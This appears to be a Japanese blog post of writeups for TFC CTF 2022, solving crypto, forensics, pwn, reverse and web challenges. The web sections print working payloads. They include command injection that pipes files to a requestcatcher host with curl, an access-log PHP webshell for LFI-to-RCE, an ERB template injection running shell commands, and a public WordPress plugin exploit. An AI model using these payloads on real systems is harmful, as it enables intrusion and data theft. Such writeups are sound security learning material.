はまやんはまやんはまやん

hamayanhamayan's blog

TFC CTF (2022) Writeups

[crypto] BASIC

/Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D

Decrypt a Message - Cipher Identifier - Online Code Recognizer
ここで判別してみると、Base91らしい。
Base91 Encoding - Base 91 Online Decoder, Encoder, Translator
ここででコードしてみると、フラグが得られる。

TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}

[crypto] MAFIOSO

f433c3e883a1389482c0b652660580f36ea037434fd4a67d193bc1cdc9b2cc34をDecrypt a Message - Cipher Identifier - Online Code Recognizer
に与えてみるとSHA-256と言われる。
あー、なるほど。

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
を使って、解析してみると、snitchesgetstitchesが元のようだ。
フォーマットに包んで提出すると正解だった。

TFCCTF{snitchesgetstitches}

[crypto] OBSCURE

文字列をコピーしてstrというファイル名で保存してxxd strで見てみると、フラグっぽい文字と.で見えてくる。

00000000: 54cc b6cd 91cc 8ecd 8bcd 8acc 95cd 9bcd  T...............
00000010: 9dcd 97cc 86cd 90cc 9acc 84cd 82cd 9dcc  ................
00000020: 9acd 80cc 92cd 9bcd 9dcc 95cc 89cc bfcc  ................
00000030: 8fcc 88cd 88cd 8dcc a5cd 9acc adcc 9ccd  ................
00000040: 87cc bbcc a5cc 98cc a8cc b9cc 9dcc a9cd  ................
00000050: 8dcc a6cc a7cc 9ccd 95cd 85cd 89cc a5cc  ................
00000060: b346 ccb6 cc85 cc94 cc9b cc88 cd90 cc95  .F..............
00000070: cd80 ccbe cc8b cd9d cda0 cd8a cd84 cd9b  ................
00000080: cd86 ccbf cc80 cd9d cc93 cd90 cd83 cd8b  ................
00000090: cc95 cc83 cd9b cc83 cd9d cc81 cc91 cc80  ................
...

あとは適当に要らない文字を削除するとフラグが得られる。

TFCCTF{s3cur1ty_thr0ugh_0bscur1ty}

[crypto] TRAIN TO PADDINGTON

雑にやったら解けてしまった感じがある。
FLAGの先頭はTFCCTF{であることはわかっているので、これを暗号化文の先頭とxorすれば鍵の先頭7文字が復元できる。
しかし、そのあとの9文字はわからないので全探索…とも思ったが、ちょっとサイズが大きい。
paddingで\x3fが使われていたのでわからない部分はとりあえずそれで埋めて復元してみる。

b'TFCCTF{?????????_h4s_l3-#S\x14#~T}%4t10n}?th3_tr41n'

何やら末尾に出てきた。確かによくよく考えるとこういう現象が起こる。
\x3fを鍵にすると、パディング埋めとして使っていた\x3fの個数分だけ末尾の鍵が漏洩する。
ちょうど漏洩部分と既知の部分をまとめるとTFCCTF{th3_tr41nとなって、ちょうど1ブロック分になる。
あとは、これを使って復元していくとフラグが得られる。

from Crypto.Util.number import *

enc = long_to_bytes(0xb4b55c3ee34fac488ebeda573ab1f974bf9b2b0ee865e45a92d2f14b7bdabb6ed4872e4dd974e803d9b2ba1c77baf725)
BLOCK_SIZE = 16

FLAG = b'TFCCTF{th3_tr41n'
while len(FLAG) < BLOCK_SIZE:
    FLAG += b'\x3f'

key = b''
for i in range(BLOCK_SIZE):
    key += (enc[i] ^ FLAG[i]).to_bytes(1, 'big')

print(key)

ans = b''

j = 0
for i in range(len(enc)):
    ans += (key[j] ^ enc[i]).to_bytes(1, 'big')
    j += 1
    j %= 16

print(ans) # b'TFCCTF{th3_tr41n_h4s_l3ft_th3_st4t10n}??????????'

[forensics] BBBBBBBBBB

strings chall.jpgしてみるとBBBBBBBBBBがたくさん出てくる。

バイナリエディタで眺めてみてもそれほど気になるところがない。
jpgファイルを開こうとすると壊れているみたいなので、試しにBBBBBBBBBBを削除してみると、jpgファイルが開けてフラグが得られた。
bbe -e 's/\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42//g' chall.jpg > new.jpg

TFCCTF{the_fl4g_1s_th3_w4y}

[forensics] ADDING IN PARTS

zipを解凍してみると大量のzipが出てくる。
中をちらっと見てみると文字が圧縮されているみたいなので、全部解凍して数字の順番に中に入っているファイルに書かれている文字を並べると文字列が出てきて、
答え…かと思ったが、そんな簡単な話ではなさそう。
バイナリを眺めても特に気になるところはないし…と思っていると解凍時にCRCが違うと言われる

試しに0.zipのCompressedDataをTにして、解凍してみると…エラー無しで解凍できますね…
これは面倒なことになったぞ…
やることはCompressedDataを適切に変更してCRCエラーがないものが答えのフラグとして復元できるというもの。
あとは実装。

import shutil
import zipfile

def update(idx, c):
    with open(f'{idx}.zip', 'rb') as f:
        data = f.read()
    offset = 0x1f
    if 10 <= idx:
        offset += 1
    data = data[:offset] + bytes(c.encode()) + data[offset + 1:]
    with open(f'{idx}.zip', 'wb') as f:
        f.write(data)

num = '0123456789'
cap = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
small = 'abcdefghijklmnopqrstuvwxyz'
symbol = '!@#$%^&*()_\-+=:;<,>.?\/{}'
dic = num + cap + small + symbol
flag = ''

for idx in range(22):
    ok = False
    for c in dic:
        update(idx, c)
        try:
            shutil.unpack_archive(f'{idx}.zip', 'dir_out')
            ok = True
            flag += c
            print(f"[+] find! {flag}")
        except zipfile.BadZipFile:
            pass
        if ok:
            break
    if not ok:
        flag += '?'
        print(f"[+] woops... {flag}")

print(f"[*] Here we go! {flag}")

こんな感じでファイルの内容を全探索してCRCが正しくなるまで試して、ちゃんと解凍できる(CRCが正しい)ならばフラグとして採用する。
これを繰り返すとフラグが出てくる…はずだが、10.zipのファイル名(アドレス0x1eと0x1fの部分)がなぜか11になっていて10に直すとちゃんと動く。

TFCCTF{ch3cksum2_g0od}

[misc] PATTERN

入力としてcountは1固定とすると任意の文字列を差し込めることになる。
{message}と入力すると、messageの内容を再度表示させることができる。
ここで面白いのが{message.__class__}とすると、クラスを参照することができる。
言われてみればそうなのだが、言われるまで気づかない。

あとはSSTIでもあるような感じで組み立てて探していく。
{message.__class__.__init__.__globals__}とするとフラグが得られた。

$ nc 01.linux.challenges.ctf.thefewchosen.com 58776
pattern> {message.__class__.__init__.__globals__}
count> 1
Here is your pattern: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fdddb543c10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/main.py', '__cached__': None, 'dataclasses': <module 'dataclasses' from '/usr/local/lib/python3.10/dataclasses.py'>, 'errno': <module 'errno' (built-in)>, 'os': <module 'os' from '/usr/local/lib/python3.10/os.py'>, 'random': <module 'random' from '/usr/local/lib/python3.10/random.py'>, 'FLAG': 'TFCCTF{Th15_G1vEs_pr1ntf_v1b35}', 'Message': <class '__main__.Message'>, 'MESSAGES': [Thank you for using our service., Here is your pattern:, Until next time!], 'pattern': 
'{message.__class__.__init__.__globals__}', 'count': 1, 'final_pattern': '{message.__class__.__init__.__globals__}'}

[pwn] RANDOM

$ file random
random: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=defd9a2d9f6d0a4ec5067bc2ed810ee1444ea52c, for GNU/Linux 3.2.0, not stripped

$ checksec random 
[*] '/mnt/c/Users/eric/Downloads/TFC CTF/pwn-random/random'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

ふむ…ghidraでCに戻してみる。

puts("Menu: \n1. Generate number");
__isoc99_scanf(&DAT_0010201e,&local_14);
if (local_14 == 1) {
    uVar1 = rand();
    printf("%d",(ulong)uVar1);
}
else if (local_14 == 0x539) {
    pcVar3 = getenv("FLAG");
    printf("%s",pcVar3);
}

こういう感じなので、入力に0x539、つまり1337を入れればフラグが手に入る。

$ nc 01.linux.challenges.ctf.thefewchosen.com 51657
Menu: 
1. Generate number
1337
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}

[reverse] SOURCE

ghidraで見てみたが、面白いc言語のコードは見当たらなかった。
アセンブリを眺めると、フラグっぽいのが見つかる。
strings -n 10 sourceで文字列を抜き出すとフラグっぽいのが見つかる。
そのまま提出すると正解だった。

TFC{3v3ryth1ng_1s_0p3n_5ourc3_1f_y0u try_h4rd_3n0ugh}

[web] ROBOTS AND MUSIC

/にアクセスするとI hope you like robots!と言われる。
robotsと言えば…ということで/robots.txtにアクセスするとDisallow: /g00d_old_mus1c.phpと書いてある。
/g00d_old_mus1c.phpにアクセスするとフラグが書いてある。

TFCCTF{Kr4ftw3rk_4nd_th3_r0b0ts}

[web] PONG

/にアクセスするとリダイレクトが走り、Command executed: ping -c 2 127.0.0.1と出てくる。
URLを見てみると、/index.php?host=127.0.0.1になっている。
かなりコマンドインジェクション感がある。

適当にpayloadを試してみると/index.php?host=127.0.0.1%20%3b%20sleep%203で3秒のwaitが走った。
127.0.0.1 ; sleep 3を入力したことになる。

結果は帰ってこなさそうなので、requestcatcherで受け口を作って、結果を受け取ろう。
127.0.0.1 ; id | curl https://xxx.requestcatcher.com/post -X POST -d @-とするとidの結果が帰ってくる。
これで自由にコマンド実行できるようになったため、色々探索すると
127.0.0.1 ; cat /flag.txt | curl https://xxx.requestcatcher.com/post -X POST -d @-でフラグが手に入る。

つまり、/index.php?host=127.0.0.1%20%3b%20cat%20%2fflag.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2fpost%20-X%20POST%20-d%20%40-
フラグ獲得。

TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}

[web] ARE YOU THE ADMIN?

まずはコードリーディングしてみる。
index.tsxの52行目を見るとisAdminがtrueのユーザーが作れればフラグが得られるようだ。
{user.isAdmin && <div>{user.flag}</div>}

ユーザー作成は27行目にあるようにPOST /api/authで作成しているみたい。
/api/authの定義が…見当たらない。
あまりよく理解してないけど、誰かがよしなにやってくれているんだろう。

実際に動かしてみる。
ユーザー名を入力してボタンをクリックすると、コードにもあったようにPOST /api/authがリクエストされた。
そのあと、謎のjsonファイルが戻ってきて、画面に応答が帰ってきている。

/api/authは自分で定義しているわけではないのでリクエストを見て色々判断していると想像し、
POSTリクエストをinterceptして、{"username":"abc2", "isAdmin":true}のようにbodyを入れ替えた。
するとisAdmin=trueのアカウントが作成できたようでフラグが手に入る。

TFCCTF{S4n1t1z3_Y0ur_1nput5!}

[web] DEEPLINKS

/にアクセスするとnothing to see hereと言われる。
ノーヒントすぎるので、問題文を読み返す。

My intern configured my iOS app and my website to handle deeplinks, but they didn't tell me the path :( Can you help me find it?

UAとかをiOSのそれに変えてみたりしたが、最終的に以下の情報が参考になった。 モバイルアプリにおけるディープリンクとメルカリShopsでの実装 | メルカリエンジニアリング
UniversalLinksの実装には、アプリ側でディープリンクとして扱いたいURLのドメインを指定し、
そのドメインの.well-known/以下にapple-app-site-associationというファイルを設置する必要があります。

あー、なんかレポートで見たことあるな。
それね。

/.well-known/apple-app-site-associationにアクセスすると謎のファイルがダウンロードされてきて、中にフラグが書いてある。

TFCCTF{4ppl3_4pp_51t3_4550c14t10n}

[web] CALENDAR

珍しい!wordpressのサイトが与えられる。
The flag is format :TFCCTF{FOUNDPASSWORD}とあるのでパスワードを特定する必要がありそう。

Burpに残っているリクエストを見てみると、
/wp-content/plugins/modern-events-calendar-lite/assets/js/frontend.js?ver=5.16.2
というのが残っている。
キャッシュパージのためにバージョンが使われているのでModern Events Calendar 5.16.2が入っていることがわかる。
調べると色々脆弱性が出てくる。

RCEもあるっぽいがパスワードを抜きたいので、試しにこれを使ってみる。
Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated) - PHP webapps Exploit
Exploitを持ってきてpython3 50084.py -T 01.linux.challenges.ctf.thefewchosen.com -P 52451 -U ""のように動かす。

['ID', 'Title', 'Start Date', 'Start Time', 'End Date', 'End Time', 'Link', 'Location', 'Address', 'Organizer', 'Organizer Tel', 'Organizer Email', 'Event Cost']
['5', 'give the developer the password from the wp site-> user:admin , password:WPNe3MgF$sNj8E8F6d', '2022-07-27', '8:00 am', '2022-07-27', '6:00 pm', 'http://01.linux.challenges.ctf.thefewchosen.com:52451/?mec-events=give-the-developer-the-password-from-the-wp-site-useradmin-passwordwpne3mgfsnj8e8f6d', '', '', '', '', '', '']

いい感じにパスワードっぽいのが抜けてきた。
フォーマットを合わせると、フラグ完成。

TFCCTF{WPNe3MgF$sNj8E8F6d}

[web] DIAMONDS

Write something nice here that passes our regexと言われる。
適当に文字を入れるとecho backされてくる。
適当に記号を入れるとThat is far away from nice !!と言われる。
全文字種を送りつけて反応を見てみたが、A-Za-z0-9ならecho backされて、記号ならほにゃららnice !!と言われるくらいしか変化がない。
何を要求されているのか全くわからん。

色々試すとinput=%81でエラーを出せた。

/app/app/controllers/input.rb in block in <class:Animated_template>
    if params[:input] =~ /^[0-9a-z ]+$/i
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in service
      si.service(req, res)
/usr/local/lib/ruby/2.7.0/webrick/httpserver.rb in run
          server.service(req, res)
/usr/local/lib/ruby/2.7.0/webrick/server.rb in block in start_thread
          block ? block.call(sock) : run(sock)

/^[0-9a-z ]+$/i正規表現らしい。
改行とかでbypassできそうか。
%23%0d%0aABCとやると# ABCと出てきた。OK。
SSTIを疑って適当に試すと%3c%25%3d%206*6%20%25%3e%0d%0aABCで刺さる。
PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings
この辺を参考にしながら色々やると、%3c%25%3d%20%60ls%60%20%25%3e%0d%0aABCでlsができる。
flag.txtがあるので表示するとフラグが手に入る。

TFCCTF{02718f35dddc266e0ac40c0c0dcc98c34edd545678dc752ba9831b6d73bc706f}

[web] INCLUDE WHAT MATTERS.

/?file=test.txtはファイルがないらしい。

Warning: include(test.txt): Failed to open stream: No such file or directory in /var/www/html/index.php on line 25

Warning: include(): Failed opening 'test.txt' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 25

/?file=/etc/passwdでpasswdファイル出ていたからLFIはできる。
php://filter/convert.base64-encode/resource=index.phpでindex.phpの中身を見てみよう。

    <?php
    echo "<a class=\"btn btn-primary\" href=\".?file=test.txt\" /> Your test </a><br><br>";
    if(isset($_GET['file'])){
       $file=$_GET['file'];
       $file=str_replace("../","",$file);
       include('' . $file);
}
    ?>

抜粋してみたが、特に面白くないな。
/var/log/apache2/access.logとUser-Agent使ってRCEまでつなげるアレを試すとうまくいく。

GET /?file=test.txt HTTP/1.1
Host: 01.linux.challenges.ctf.thefewchosen.com:50259
Upgrade-Insecure-Requests: 1
User-Agent: <?=`$_GET[0]`; ?>

のようなリクエストを送っておいて、
GET /?file=%2fvar%2flog%2fapache2%2faccess.log&0=id
のようにやればコマンド実行できる。

requestcatcherあたりを使ってダイレクトに応答をもらってきながら探索すると/hidden_fl4g.txtにフラグがあることがわかる。

0=cat%20%2fhidden_fl4g.txt%20%7c%20curl%20https%3a%2f%2fxxx.requestcatcher.com%2ftest%20-X%20POST%20-d%20%40-のような感じでコマンドを送るとフラグ獲得。

TFCCTF{LF1_1S_D4NG3R0US_4ND_L34DS_T0_RC3}